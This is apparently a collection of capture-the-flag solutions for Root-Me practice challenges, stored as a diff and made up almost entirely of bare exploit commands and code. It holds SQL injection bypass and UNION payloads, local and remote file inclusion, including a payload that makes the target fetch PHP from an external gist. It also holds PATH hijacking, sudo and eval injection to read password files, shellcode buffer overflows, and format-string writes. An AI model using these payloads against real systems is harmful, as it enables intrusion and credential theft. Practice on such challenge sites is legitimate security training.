diff --git a/Web-Server - HTTP cookies b/Web-Server - HTTP cookies
 curl -H "Cookie: ch7=admin" http://challenge01.root-me.org/web-serveur/ch7/
diff --git a/Web-Server - HTTP Headers b/Web-Server - HTTP Headers
 curl -v -H "Header-RootMe-Admin: true" http://challenge01.root-me.org/web-serveur/ch5/
diff --git a/Web-Server - HTTP verb tampering b/Web-Server - HTTP verb tampering
 curl -X PUT http://challenge01.root-me.org/web-serveur/ch8/
diff --git a/Web-Server - Improper redirect b/Web-Server - Improper redirect
 curl http://challenge01.root-me.org/web-serveur/ch32/
diff --git a/Web-Server - Install files b/Web-Server - Install files
 http://challenge01.root-me.org/web-serveur/ch6/phpbb/install/install.php
diff --git a/Web-Server - Local File Inclusion b/Web-Server - Local File Inclusion
 http://challenge01.root-me.org/web-serveur/ch16/?files=../admin&f=index.php
diff --git a/Web-Server - Remote File Inclusion.php b/Web-Server - Remote File Inclusion.php
 <?php
        /*
        view-source:http://challenge01.root-me.org/web-serveur/ch13/?lang=https://gist.githubusercontent.com/porpeeranut/aa75b4022dbe4def1524/raw/b6ff120fa0f681d7a8cd2efc449baf81272770d0/Web-Server%2520-%2520Remote%2520File%2520Inclusion.php?
        or
        view-source:http://challenge01.root-me.org/web-serveur/ch13/?lang=data://text/plain;base64,PD9waHANCiAgICAgICAgcHJpbnRfcihzY2FuZGlyKCcuJykpOw0KICAgICAgICByZWFkZmlsZSgiaW5kZXgucGhwIik7DQo/Pg==
        */
        print_r(scandir('.'));
        readfile("index.php");
 ?>
diff --git a/Web-Server - SQL injection - authentication b/Web-Server - SQL injection - authentication
 login with
 username: admin';-- -
 password: anything
diff --git a/Web-Server - SQL injection - string b/Web-Server - SQL injection - string
 at page search
 a' or id='1' union select 1,2-- -
 a' or id='1' union select 1,sql from sqlite_master-- -
 a' or id='1' union select username,password from users-- -
	# mkdir /tmp/bash
	# cd /tmp/bash
	# chmod 777 .
	# touch task.sh
	# nano task.sh
	# cp task.sh /tmp/._cron/
	# chmod 777 /tmp/._cron/task.sh;
	# cat pass
	cat /challenge/app-script/ch4/.passwd > /tmp/bash/pass
	mkdir /tmp/test
	cd /tmp/test
	ln -s ~/ch11 .
	ln -s /bin/cat ls
	export PATH=.:$PATH
	./ch11
	#include <stdlib.h>
	#include <stdio.h>

	/*
	mkdir /tmp/test2
	cd /tmp/test2
	ln -s ~/ch12 .
	export PATH=.:$PATH
	touch fakecat.c
	nano fakecat.c
	gcc fakecat.c -o ls
	./ch12
	*/

	int main(int argc, char *argv[]){
	system("cat /challenge/app-script/ch12/.passwd");
	return 0;
	}
	app-script-ch6@challenge02:~$ ./setuid-wrapper
	Please enter password : __import__("os").system('cat .passwd')
	sudo -l
	sudo -u app-script-ch1-cracked cat /challenge/app-script/ch1/ch1/../ch1cracked/.passwd
	import struct

	'''
	objdump -t ch7 \| grep -i 'bss\\|data'
	'''

	def pad(s):
	s = s+'\x90'*512
	return s[:512]

	username_addr = 0x0804a040

	# http://www.kernel-panic.it/security/shellcode/shellcode5.html
	shell = '\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'

	print pad(shell) + struct.pack('I', username_addr)
	./ch5 "`python -c \"print '%x '10 +'\nkey---> '+'%x '4\"`"
	python -c "print ''.join(reversed(\"646d6170452829366439617044\".decode('hex')))"
	import struct

	'''
	gdb ch14
	gdb$ disass main
	gdb$ b *0x080485e8
	gdb$ run "`python ch14.py`"
	gdb$ x/48x $esp
	./ch14 "`python /tmp/ch14/ch14.py`"
	'''

	CHECK_ADDR = 0xbffffb88

	def pad(s):
	return s+'A'*(128 -len(s))

	exploit = struct.pack('I', CHECK_ADDR)
	exploit += struct.pack('I', CHECK_ADDR+2)
	exploit += "%48871x"
	exploit += "%9$n"
	exploit += "%73662x"
	exploit += "%10$n"

	print pad(exploit)
	gdb ch15
	gdb$ info function
	...
	0x08048464 shell
	0x08048478 sup
	0x0804848c main
	(python -c "print 'a'*128 + '\x64\x84\x04\x08'"; cat) \| ./ch15
	cat .passwd
	objdump -t ch35 \| grep callMe
	(python -c "print '\xcd\x06\x40\x00\x00\x00\x00\x00'*200"; cat) \| ./ch35